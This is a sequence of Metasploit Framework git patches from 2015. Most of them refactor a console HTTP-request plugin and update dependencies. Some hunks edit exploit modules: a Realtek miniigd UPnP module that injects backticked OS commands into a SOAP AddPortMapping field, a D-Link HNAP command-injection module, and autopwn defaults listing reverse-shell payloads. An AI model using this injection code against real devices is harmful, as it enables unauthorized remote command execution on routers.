@@ class Plugin::HTTPRequests < Msf::Plugin ) options = { - :auth_password => nil, - :auth_username => nil, - :headers => { }, + :headers => {}, :print_body => true, :print_headers => false, - :method => nil, - :output_file => nil, :ssl_version => 'Auto', - :uri => nil, :user_agent => Rex::Proto::Http::Client::DefaultUserAgent, :version => '1.1' } @@ -68,11 +108,9 @@ class Plugin::HTTPRequests < Msf::Plugin when '-G' options[:method] = 'GET' when '-h' - print_line(help_line) - print_line(opt_parser.usage) - return + return help(opt_parser, "Usage: request #{type} [options] uri") when '-H' - name, _, value = val.partition(':') + name, _, value = val.split(':') options[:headers][name] = value.strip when '-i' options[:print_headers] = true @@ -83,25 +121,83 @@ class Plugin::HTTPRequests < Msf::Plugin when '-o' options[:output_file] = File.expand_path(val) when '-u' - val = val.partition(':') - options[:auth_username] = val[0] - options[:auth_password] = val[2] + options[:auth_username] = val + when '-p' + options[:auth_password] = val when '-X' options[:method] = val else options[:uri] = val end end - - if options[:uri].nil? - print_line(help_line) - print_line(opt_parser.usage) - return + unless options[:uri] + return help(opt_parser, "Usage: request #{type} [options] uri") end - options[:method] ||= 'GET' options[:uri] = URI(options[:uri]) - options + [options, opt_parser] + end + + def handle_request_http(opts, opt_parser) + uri = opts[:uri] + http_client = Rex::Proto::Http::Client.new( + uri.host, + uri.port, + {'Msf' => framework}, + uri.scheme == 'https', + opts[:ssl_version] + ) + + if opts[:auth_username] + auth_str = opts[:auth_username] + ':' + opts[:auth_password] + auth_str = 'Basic ' + Rex::Text.encode_base64(auth_str) + opts[:headers]['Authorization'] = auth_str + end + + uri.path = '/' if uri.path.length == 0 + + begin + http_client.connect + req = http_client.request_cgi( + 'agent' => opts[:user_agent], + 'data' => opts[:data], + 'headers' => opts[:headers], + 'method' => opts[:method], + 'password' => opts[:auth_password], + 'query' => uri.query, + 'uri' => uri.path, + 'username' => opts[:auth_username], + 'version' => opts[:version] + ) + + response = http_client.send_recv(req) + rescue ::OpenSSL::SSL::SSLError + print_error('Encountered an SSL error') + rescue ::Errno::ECONNRESET => ex + print_error('The connection was reset by the peer') + rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error + print_error('Encountered an error') + #rescue ::Exception => ex + # print_line("An error of type #{ex.class} happened, message is #{ex.message}") + ensure + http_client.close + end + + unless response + opts[:output_file].close if opts[:output_file] + return nil + end + + if opts[:print_headers] + output_line(opts, response.cmd_string) + output_line(opts, response.headers.to_s) + end + + output_line(opts, response.body) if opts[:print_body] + if opts[:output_file] + print_status("Wrote #{opts[:output_file].tell} bytes to #{opts[:output_file].path}") + opts[:output_file].close + end end def output_line(opts, line) @@ -118,79 +214,15 @@ class Plugin::HTTPRequests < Msf::Plugin end end - def cmd_httpr(*args) - opts = parse_args(args) - return unless opts - - unless opts[:output_file].nil? - begin - opts[:output_file] = File.new(opts[:output_file], 'w') - rescue ::Errno::EACCES, Errno::EISDIR, Errno::ENOTDIR - print_error('Failed to open the specified file for output') - return - end - end - - uri = opts[:uri] - http_client = Rex::Proto::Http::Client.new( - uri.host, - uri.port, - {'Msf' => framework}, - uri.scheme == 'https', - opts[:ssl_version] - ) - - unless opts[:auth_username].nil? - auth_str = opts[:auth_username].to_s + ':' + opts[:auth_password].to_s - auth_str = 'Basic ' + Rex::Text.encode_base64(auth_str) - opts[:headers]['Authorization'] = auth_str - end - - uri.path = '/' if uri.path.length == 0 - - begin - http_client.connect - request = http_client.request_cgi( - 'agent' => opts[:user_agent], - 'data' => opts[:data], - 'headers' => opts[:headers], - 'method' => opts[:method], - 'password' => opts[:auth_password], - 'query' => uri.query, - 'uri' => uri.path, - 'username' => opts[:auth_username], - 'version' => opts[:version] - ) - - response = http_client.send_recv(request) - rescue ::OpenSSL::SSL::SSLError - print_error('Encountered an SSL error') - rescue ::Errno::ECONNRESET => ex - print_error('The connection was reset by the peer') - rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error - print_error('Encountered an error') - #rescue ::Exception => ex - # print_line("An error of type #{ex.class} happened, message is #{ex.message}") - ensure - http_client.close - end - - unless response - opts[:output_file].close unless opts[:output_file].nil? - return - end - - if opts[:print_headers] - output_line(opts, response.cmd_string) - output_line(opts, response.headers.to_s) - end - - output_line(opts, response.body) if opts[:print_body] - unless opts[:output_file].nil? - print_status("Wrote #{opts[:output_file].tell} bytes to #{opts[:output_file].path}") - opts[:output_file].close + def help(opt_parser = nil, msg = 'Usage: request type [options]') + print_line(msg) + if opt_parser + print_line(opt_parser.usage) + else + print_line("Valid types are: #{types.join(', ')}") end end + end def initialize(framework, opts) @@ -199,18 +231,17 @@ class Plugin::HTTPRequests < Msf::Plugin end def cleanup - remove_console_dispatcher('HTTP Requests') + remove_console_dispatcher('Request') end def name - 'HTTP Requests' + 'Request' end def desc - 'Make HTTP requests from within Metasploit.' + 'Make requests from within Metasploit using various protocols.' end -protected -end +end # end class -end +end # end module From f1e48b93345de8e4f03ac69274464534dc71f087 Mon Sep 17 00:00:00 2001 From: Joshua Smith Date: Wed, 27 May 2015 15:40:27 -0500 Subject: [PATCH 0237/1013] genericizes http request plugin --- plugins/request.rb | 13 +++++++++++-- 1 file changed, 11 insertions(+), 2 deletions(-) diff --git a/plugins/request.rb b/plugins/request.rb index cd2a837a85..aeb4dbccec 100644 --- a/plugins/request.rb +++ b/plugins/request.rb @@ -13,7 +13,7 @@ class Plugin::Requests < Msf::Plugin def commands { - 'request' => 'Make a request of the specified type', + 'request' => "Make a request of the specified type (#{types.join(', ')})", } end @@ -31,7 +31,9 @@ class Plugin::Requests < Msf::Plugin return help if (!type || type =~ /^-?-h(?:elp)?$/) type.downcase! opts, opt_parser = parse_args(type, args) + if opts && opt_parser + # handle any "global" options if opts[:output_file] begin opts[:output_file] = File.new(opts[:output_file], 'w') @@ -39,6 +41,7 @@ class Plugin::Requests < Msf::Plugin return help(opt_parser, 'Failed to open the specified file for output') end end + # hand off the actual request to the appropriate request handler handler_method = "handle_request_#{type}".to_sym if self.respond_to?(handler_method) # call the appropriate request handler @@ -63,6 +66,7 @@ class Plugin::Requests < Msf::Plugin end end + # arg parsing for requests of type 'http' def parse_args_http(args = [], type = 'http') opt_parser = Rex::Parser::Arguments.new( '-0' => [ false, 'Use HTTP 1.0' ], @@ -78,7 +82,9 @@ class Plugin::Requests < Msf::Plugin '-I' => [ false, 'Show document info only' ], '-o' => [ true, 'Write output to instead of stdout' ], '-u' => [ true, 'Server user and password' ], - '-X' => [ true, 'Request method to use' ] + '-X' => [ true, 'Request method to use' ], + '-x' => [ true, 'Proxy to use, format: [proto://][user:pass@]host[:port]' + + ' Proto defaults to http:// and port to 1080'], ) options = { @@ -126,6 +132,8 @@ class Plugin::Requests < Msf::Plugin options[:auth_password] = val when '-X' options[:method] = val + #when '-x' + # @TODO proxy else options[:uri] = val end @@ -138,6 +146,7 @@ class Plugin::Requests < Msf::Plugin [options, opt_parser] end + # handling for requests of type 'http' def handle_request_http(opts, opt_parser) uri = opts[:uri] http_client = Rex::Proto::Http::Client.new( From 7d896ba5d2129a468cea97e4d7b785d1e8803330 Mon Sep 17 00:00:00 2001 From: Joshua Smith Date: Wed, 27 May 2015 15:44:53 -0500 Subject: [PATCH 0238/1013] removes a proxy vestige --- plugins/request.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/plugins/request.rb b/plugins/request.rb index aeb4dbccec..6b6d4d82cb 100644 --- a/plugins/request.rb +++ b/plugins/request.rb @@ -82,9 +82,9 @@ class Plugin::Requests < Msf::Plugin '-I' => [ false, 'Show document info only' ], '-o' => [ true, 'Write output to instead of stdout' ], '-u' => [ true, 'Server user and password' ], - '-X' => [ true, 'Request method to use' ], - '-x' => [ true, 'Proxy to use, format: [proto://][user:pass@]host[:port]' + - ' Proto defaults to http:// and port to 1080'], + '-X' => [ true, 'Request method to use' ] + #'-x' => [ true, 'Proxy to use, format: [proto://][user:pass@]host[:port]' + + # ' Proto defaults to http:// and port to 1080'], ) options = { From b236187e3f428a48e2ede0e1228886343ede31f0 Mon Sep 17 00:00:00 2001 From: Joshua Smith Date: Thu, 28 May 2015 11:42:33 -0500 Subject: [PATCH 0239/1013] restores proper -u usage --- plugins/request.rb | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) diff --git a/plugins/request.rb b/plugins/request.rb index 6b6d4d82cb..908e3c2fd9 100644 --- a/plugins/request.rb +++ b/plugins/request.rb @@ -127,7 +127,12 @@ class Plugin::Requests < Msf::Plugin when '-o' options[:output_file] = File.expand_path(val) when '-u' - options[:auth_username] = val + val = val.split(':', 2) # only split on first ':' as per curl: + # from curl man page: "The user name and passwords are split up on the + # first colon, which makes it impossible to use a colon in the user + # name with this option. The password can, still. + options[:auth_username] = val.first + options[:auth_password] = val.last when '-p' options[:auth_password] = val when '-X' @@ -186,8 +191,6 @@ class Plugin::Requests < Msf::Plugin print_error('The connection was reset by the peer') rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error print_error('Encountered an error') - #rescue ::Exception => ex - # print_line("An error of type #{ex.class} happened, message is #{ex.message}") ensure http_client.close end From fa9a222d97f65b6b9294223142aacc018552ba6e Mon Sep 17 00:00:00 2001 From: Joshua Smith Date: Thu, 28 May 2015 21:38:43 -0500 Subject: [PATCH 0240/1013] changes type handling to be fully automatic --- plugins/request.rb | 61 +++++++++++++++++++++++++++++++++------------- 1 file changed, 44 insertions(+), 17 deletions(-) diff --git a/plugins/request.rb b/plugins/request.rb index 908e3c2fd9..f503950a55 100644 --- a/plugins/request.rb +++ b/plugins/request.rb @@ -7,6 +7,8 @@ class Plugin::Requests < Msf::Plugin class ConsoleCommandDispatcher include Msf::Ui::Console::CommandDispatcher + HELP_REGEX = /^-?-h(?:elp)?$/ + def name 'Request' end @@ -24,14 +26,21 @@ class Plugin::Requests < Msf::Plugin end def cmd_request(*args) - # grab and validate the first arg as type, which will affect how the - # remaining args are parsed - type = args.shift # short circuit the whole deal if they need help - return help if (!type || type =~ /^-?-h(?:elp)?$/) - type.downcase! - opts, opt_parser = parse_args(type, args) + return help if args.length == 0 + return help if args.length == 1 && args.first =~ HELP_REGEX + # detect the request type from the uri which must be the last arg given + uri = args.last + if uri && uri =~ /^[A-Za-z]{3,5}:\/\// + type = uri.split('://', 2).first + else + print_error("The last argument must be a valid and supported URI") + return help + end + + # parse options + opts, opt_parser = parse_args(args, type) if opts && opt_parser # handle any "global" options if opts[:output_file] @@ -47,25 +56,34 @@ class Plugin::Requests < Msf::Plugin # call the appropriate request handler self.send(handler_method, opts, opt_parser) else + # this should be dead code if parse_args is doing it's job correctly help(opt_parser, "No request handler found for type (#{type.to_s}).") end else - help(opt_parser, "No valid options provided for request #{type}") + if types.include? type + help(opt_parser) + else + help + end end end - def parse_args(type, args) + def parse_args(args, type = 'http') type.downcase! - #print_line "type is #{type}" parse_method = "parse_args_#{type}".to_sym if self.respond_to?(parse_method) self.send(parse_method, args, type) else - print_line('Unrecognized type.') - help + print_error("Unsupported URI type: #{type}") end end + # arg parsing for requests of type 'http' + def parse_args_https(args = [], type = 'https') + # just let http do it + parse_args_http(args, type) + end + # arg parsing for requests of type 'http' def parse_args_http(args = [], type = 'http') opt_parser = Rex::Parser::Arguments.new( @@ -113,10 +131,12 @@ class Plugin::Requests < Msf::Plugin options[:method] ||= 'POST' when '-G' options[:method] = 'GET' - when '-h' - return help(opt_parser, "Usage: request #{type} [options] uri") + when HELP_REGEX + #help(opt_parser) + # guard to prevent further option processing & stymie request handling + return [nil, opt_parser] when '-H' - name, _, value = val.split(':') + name, value = val.split(':', 2) options[:headers][name] = value.strip when '-i' options[:print_headers] = true @@ -144,13 +164,19 @@ class Plugin::Requests < Msf::Plugin end end unless options[:uri] - return help(opt_parser, "Usage: request #{type} [options] uri") + help(opt_parser) end options[:method] ||= 'GET' options[:uri] = URI(options[:uri]) [options, opt_parser] end + # handling for requests of type 'https' + def handle_request_https(opts, opt_parser) + # let http do it + handle_request_http(opts, opt_parser) + end + # handling for requests of type 'http' def handle_request_http(opts, opt_parser) uri = opts[:uri] @@ -226,12 +252,13 @@ class Plugin::Requests < Msf::Plugin end end - def help(opt_parser = nil, msg = 'Usage: request type [options]') + def help(opt_parser = nil, msg = 'Usage: request [options] uri') print_line(msg) if opt_parser print_line(opt_parser.usage) else - print_line("Valid types are: #{types.join(', ')}") + print_line("Supported uri types are: #{types.collect{|t| t + '://'}.join(', ')}") + print_line("To see usage for a specific uri type, use request -h uri") end end From 16bc08861a77f091dc934e627fbf2b31999521b0 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 13:01:26 -0500 Subject: [PATCH 0241/1013] update to metasploit-payloads 1.0.0 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index 1723828a2a..b0fb3003b0 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 0.0.7) + metasploit-payloads (= 1.0.0) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (0.0.7) + metasploit-payloads (1.0.0) metasploit_data_models (1.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 41d93d8c7c..4b46084af7 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 1.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'metasploit-payloads', '0.0.7' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.0' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From 9ebd6e5d6e57f89d0ca163ff2fd50a7146936a43 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 13:27:19 -0500 Subject: [PATCH 0242/1013] Use REXML --- .../http/realtek_miniigd_upnp_exec_noauth.rb | 87 ++++++++++++------- 1 file changed, 55 insertions(+), 32 deletions(-) diff --git a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb index 2bc2cd6d25..8806f177b8 100644 --- a/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb +++ b/modules/exploits/linux/http/realtek_miniigd_upnp_exec_noauth.rb @@ -10,6 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include REXML def initialize(info = {}) super(update_info(info, @@ -17,8 +18,8 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ Different devices using the Realtek SDK with the miniigd daemon are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, - there is no output for the executed command. - This module has been tested in emulation on a Trendnet TEW-731BR router. + there is no output for the executed command. This module has been tested successfully on a + Trendnet TEW-731BR router with emulation. }, 'Author' => [ @@ -52,7 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } - ], + ] ], 'DefaultTarget' => 0 )) @@ -91,37 +92,15 @@ class Metasploit3 < Msf::Exploit::Remote execute_cmdstager( :flavor => :echo, - :linemax => 50 + :linemax => 50, + :nodelete => true ) end def execute_command(cmd, opts) uri = '/wanipcn.xml' - - new_portmapping_descr = rand_text_alpha(8) - new_external_port = rand(32767) + 32768 - new_internal_port = rand(32767) + 32768 - - # We need something like this: - #cmd = "echo -en \\\x7f\\\x45\\\x4c\\\x46\\\x01 > /var/tmp/pwdn" - cmd = cmd.gsub("\\\\", "\\\\\\\\\\") - - soapaction = "urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping" - - data_cmd = "" - data_cmd << "" - data_cmd << "" - data_cmd << "" - data_cmd << "" - data_cmd << "`#{cmd}`" - data_cmd << "1" - data_cmd << "#{new_external_port}" - data_cmd << "" - data_cmd << "TCP" - data_cmd << "#{new_internal_port}" - data_cmd << "" - data_cmd << "" - data_cmd << "" + soap_action = 'urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping' + data_cmd = '' + build_soap_req begin res = send_request_cgi({ @@ -129,16 +108,60 @@ class Metasploit3 < Msf::Exploit::Remote 'vars_get' => { 'service' => 'WANIPConn1' }, - 'ctype' => "text/xml", + 'ctype' => 'text/xml', 'method' => 'POST', 'headers' => { - 'SOAPAction' => soapaction, + 'SOAPAction' => soap_action }, - 'data' => data_cmd + 'data' => data_cmd.gsub(/CMD_HERE/, "`#{cmd.gsub(/\\/, '\\\\\\\\\\')}`") }) return res rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end end + + def build_soap_req + new_external_port = rand(32767) + 32768 + new_internal_port = rand(32767) + 32768 + + xml = Document.new + + xml.add_element( + 'SOAP-ENV:Envelope', + { + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'SOAP-ENV:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/' + }) + + xml.root.add_element('SOAP-ENV:Body') + + body = xml.root.elements[1] + + body.add_element( + 'm:AddPortMapping', + { + 'xmlns:m' => 'urn:schemas-upnp-org:service:WANIPConnection:1' + }) + + port_mapping = body.elements[1] + port_mapping.add_element('NewLeaseDuration') + port_mapping.add_element('NewInternalClient') + port_mapping.add_element('NewEnabled') + port_mapping.add_element('NewExternalPort') + port_mapping.add_element('NewRemoteHost') + port_mapping.add_element('NewProtocol') + port_mapping.add_element('NewInternalPort') + + port_mapping.elements['NewLeaseDuration'].text = '' + port_mapping.elements['NewInternalClient'].text = 'CMD_HERE' + port_mapping.elements['NewEnabled'].text = '1' + port_mapping.elements['NewExternalPort'].text = "#{new_external_port}" + port_mapping.elements['NewRemoteHost'].text = '' + port_mapping.elements['NewProtocol'].text = 'TCP' + port_mapping.elements['NewInternalPort'].text = "#{new_internal_port}" + + xml.to_s + end + end From dab9a66ea362705799d154b6800b79409e8c3b66 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 13:43:20 -0500 Subject: [PATCH 0243/1013] Use current ruby hash syntax --- lib/msf/core/exploit/browserautopwnv2.rb | 28 +++++++++++------------ modules/exploits/multi/browser/autopwn.rb | 4 ++-- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 1ad9b4a24b..c020e6161d 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -31,14 +31,14 @@ module Msf # The loader order is specific while starting them up. # Firefox payloads use generic handlers. DEFAULT_PAYLOADS = { - 'firefox' => { 'payload' => 'firefox/shell_reverse_tcp', 'lport' => 4442 }, - 'android' => { 'payload' => 'android/meterpreter/reverse_tcp', 'lport' => 4443 }, - 'win' => { 'payload' => 'windows/meterpreter/reverse_tcp', 'lport' => 4444 }, - 'linux' => { 'payload' => 'linux/x86/meterpreter/reverse_tcp', 'lport' => 4445 }, - 'unix' => { 'payload' => 'cmd/unix/reverse', 'lport' => 4446 }, - 'osx' => { 'payload' => 'osx/x86/shell_reverse_tcp', 'lport' => 4447 }, - 'java' => { 'payload' => 'java/meterpreter/reverse_tcp', 'lport' => 4448 }, - 'generic' => { 'payload' => 'generic/shell_reverse_tcp', 'lport' => 4459 } + firefox: { payload: 'firefox/shell_reverse_tcp', lport: 4442 }, + android: { payload: 'android/meterpreter/reverse_tcp', lport: 4443 }, + win: { payload: 'windows/meterpreter/reverse_tcp', lport: 4444 }, + linux: { payload: 'linux/x86/meterpreter/reverse_tcp', lport: 4445 }, + unix: { payload: 'cmd/unix/reverse', lport: 4446 }, + osx: { payload: 'osx/x86/shell_reverse_tcp', lport: 4447 }, + java: { payload: 'java/meterpreter/reverse_tcp', lport: 4448 }, + generic: { payload: 'generic/shell_reverse_tcp', lport: 4459 } } @@ -280,16 +280,16 @@ module Msf # Returns a payload name. Either this will be the user's choice, or falls back to a default one. # # @see DEFAULT_PAYLOADS The default settings. - # @param [String] platform Platform name. + # @param [Symbol] platform Platform name. # @return [String] Payload name. def get_selected_payload_name(platform) - payload_name = datastore["PAYLOAD_#{platform.upcase}"] + payload_name = datastore["PAYLOAD_#{platform.to_s.upcase}"] # The payload is legit, we can use it. # Avoid #create seems faster return payload_name if framework.payloads.keys.include?(payload_name) - default = DEFAULT_PAYLOADS[platform]['payload'] + default = DEFAULT_PAYLOADS[platform][:payload] # The user has configured some unknown payload that we can't use, # fall back to default. @@ -302,7 +302,7 @@ module Msf # @param [String] platform # @return [Fixnum] def get_selected_payload_lport(platform) - datastore["PAYLOAD_#{platform.upcase}_LPORT"] + datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] end @@ -375,7 +375,7 @@ module Msf def is_payload_platform_compatible?(m, payload_platform) begin - platform_obj = Msf::Module::Platform.find_platform(payload_platform) + platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s) rescue ArgumentError false end @@ -557,7 +557,7 @@ module Msf 'Columns' => ['Option Name', 'Description'] ) DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - table << ["PAYLOAD_#{platform.upcase}", "Payload for #{platform} browser exploits"] + table << ["PAYLOAD_#{platform.to_s.upcase}", "Payload for #{platform} browser exploits"] end print_line(table.to_s) print_status("Example: set PAYLOAD_WIN windows/meterpreter/reverse_tcp") diff --git a/modules/exploits/multi/browser/autopwn.rb b/modules/exploits/multi/browser/autopwn.rb index 6302cd4d2f..809eba0fb7 100644 --- a/modules/exploits/multi/browser/autopwn.rb +++ b/modules/exploits/multi/browser/autopwn.rb @@ -90,8 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote def get_advanced_options opts = [] DEFAULT_PAYLOADS.each_pair do |platform, payload_info| - opts << OptString.new("PAYLOAD_#{platform.upcase}", [true, "Payload for #{platform} browser exploits", payload_info['payload'] ]) - opts << OptInt.new("PAYLOAD_#{platform.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info['lport']]) + opts << OptString.new("PAYLOAD_#{platform.to_s.upcase}", [true, "Payload for #{platform} browser exploits", payload_info[:payload] ]) + opts << OptInt.new("PAYLOAD_#{platform.to_s.upcase}_LPORT", [true, "Payload LPORT for #{platform} browser exploits", payload_info[:lport]]) end opts From c3fa52f443a0b807c9c40e110889f020d7e6a764 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 13:47:20 -0500 Subject: [PATCH 0244/1013] Update description --- .../exploits/windows/browser/ms14_064_ole_code_execution.rb | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index 3d2685d75a..833e4383d2 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -19,8 +19,9 @@ class Metasploit4 < Msf::Exploit::Remote 'Name' => "MS14-064 Microsoft Internet Explorer Windows OLE Automation Array Remote Code Execution", 'Description' => %q{ This module exploits the Windows OLE Automation array vulnerability, CVE-2014-6332. - The vulnerability affects Internet Explorer 3.0 until version 11 within Windows 95 up to - Windows 10, and there is no patch for Windows XP or older. + The vulnerability is known to affect Internet Explorer 3.0 until version 11 within + Windows 95 up to Windows 10, and no patch for Windows XP. However, this exploit will + only target Windows XP and Windows 7 box due to the Powershell limitation. Windows XP by defaults supports VBS, therefore it is used as the attack vector. On other newer Windows systems, the exploit will try using Powershell instead. From 340792aae46c1230f7160c240b1ea0d04489cf4e Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 14:34:27 -0500 Subject: [PATCH 0245/1013] don't jump past the uuid sender on win32/tcp connect --- lib/msf/core/payload/linux/send_uuid.rb | 2 +- lib/msf/core/payload/windows/reverse_tcp.rb | 6 ++++-- lib/msf/core/payload/windows/send_uuid.rb | 2 +- lib/msf/core/payload/windows/x64/send_uuid.rb | 2 +- 4 files changed, 7 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/linux/send_uuid.rb b/lib/msf/core/payload/linux/send_uuid.rb index 977b70b453..c010944c0e 100644 --- a/lib/msf/core/payload/linux/send_uuid.rb +++ b/lib/msf/core/payload/linux/send_uuid.rb @@ -28,7 +28,7 @@ module Payload::Linux::SendUUID push ecx ; store ecx for later push 0 ; terminate the args array push #{uuid_raw.length} ; length of the UUID - call get_uuid_address ; put uuid buffer on tehe stack + call get_uuid_address ; put uuid buffer on the stack db #{raw_to_db(uuid_raw)} ; UUID itself get_uuid_address: push edi ; socket handle diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index c8f3731104..360b690355 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -177,11 +177,13 @@ module Payload::Windows::ReverseTcp end =end + asm << %Q^ + connected: + ^ + asm << asm_send_uuid if include_send_uuid asm << %Q^ - connected: - recv: ; Receive the size of the incoming second stage... push 0 ; flags diff --git a/lib/msf/core/payload/windows/send_uuid.rb b/lib/msf/core/payload/windows/send_uuid.rb index 234c24b5b2..94e0b09e8b 100644 --- a/lib/msf/core/payload/windows/send_uuid.rb +++ b/lib/msf/core/payload/windows/send_uuid.rb @@ -27,7 +27,7 @@ module Payload::Windows::SendUUID send_uuid: push 0 ; flags push #{uuid_raw.length} ; length of the UUID - call get_uuid_address ; put uuid buffer on tehe stack + call get_uuid_address ; put uuid buffer on the stack db #{raw_to_db(uuid_raw)} ; UUID get_uuid_address: push edi ; saved socket diff --git a/lib/msf/core/payload/windows/x64/send_uuid.rb b/lib/msf/core/payload/windows/x64/send_uuid.rb index 8693109e95..f804d3ae0e 100644 --- a/lib/msf/core/payload/windows/x64/send_uuid.rb +++ b/lib/msf/core/payload/windows/x64/send_uuid.rb @@ -28,7 +28,7 @@ module Payload::Windows::SendUUID_x64 xor r9, r9 ; flags push #{uuid_raw.length} ; length of the UUID pop r8 - call get_uuid_address ; put uuid buffer on tehe stack + call get_uuid_address ; put uuid buffer on the stack db #{raw_to_db(uuid_raw)} ; UUID get_uuid_address: pop rdx ; UUID address From 8b2e49eabc4fa90b122a2d09db75b96105f6aded Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 14:45:47 -0500 Subject: [PATCH 0246/1013] Do code cleanup --- lib/rex/exploitation/cmdstager/echo.rb | 9 +++--- .../http/dlink_upnp_header_exec_noauth.rb | 32 +++++++++---------- 2 files changed, 19 insertions(+), 22 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/echo.rb b/lib/rex/exploitation/cmdstager/echo.rb index 253eb48214..462aade850 100644 --- a/lib/rex/exploitation/cmdstager/echo.rb +++ b/lib/rex/exploitation/cmdstager/echo.rb @@ -26,11 +26,10 @@ class CmdStagerEcho < CmdStagerBase # and initialize opts[:enc_format]. # def generate(opts = {}) - if opts[:temp] == false - opts[:temp] = '' - else - opts[:temp] = opts[:temp] || '/tmp/' - opts[:temp].gsub!(/\\/, "/") + opts[:temp] = opts[:temp] || '/tmp/' + + unless opts[:temp].empty? + opts[:temp].gsub!(/\\/, '/') opts[:temp] = opts[:temp].shellescape opts[:temp] << '/' if opts[:temp][-1,1] != '/' end diff --git a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb index b6bdb4e24d..9ac06e2df9 100644 --- a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb @@ -18,9 +18,9 @@ class Metasploit3 < Msf::Exploit::Remote Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP interface. Since it is a blind OS command injection vulnerability, there is no output for the executed command. This module has been tested on a DIR-645 device. - The following devices are also reported as affected: - DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB - DIR-815 revB, DIR-300 revB, DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR + The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB, + DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB, + DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR }, 'Author' => [ @@ -36,21 +36,19 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DisclosureDate' => 'Feb 13 2015', 'Privileged' => true, - 'Platform' => 'unix', + 'Platform' => 'linux', 'Targets' => [ [ 'MIPS Little Endian', { - 'Platform' => 'linux', 'Arch' => ARCH_MIPSLE } ], [ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target { - 'Platform' => 'linux', 'Arch' => ARCH_MIPSBE } - ], + ] ], 'DefaultTarget' => 0 )) @@ -60,16 +58,17 @@ class Metasploit3 < Msf::Exploit::Remote def check uri = '/HNAP1/' - soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings" + soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings' begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'headers' => { - 'SOAPAction' => soapaction, - }, + 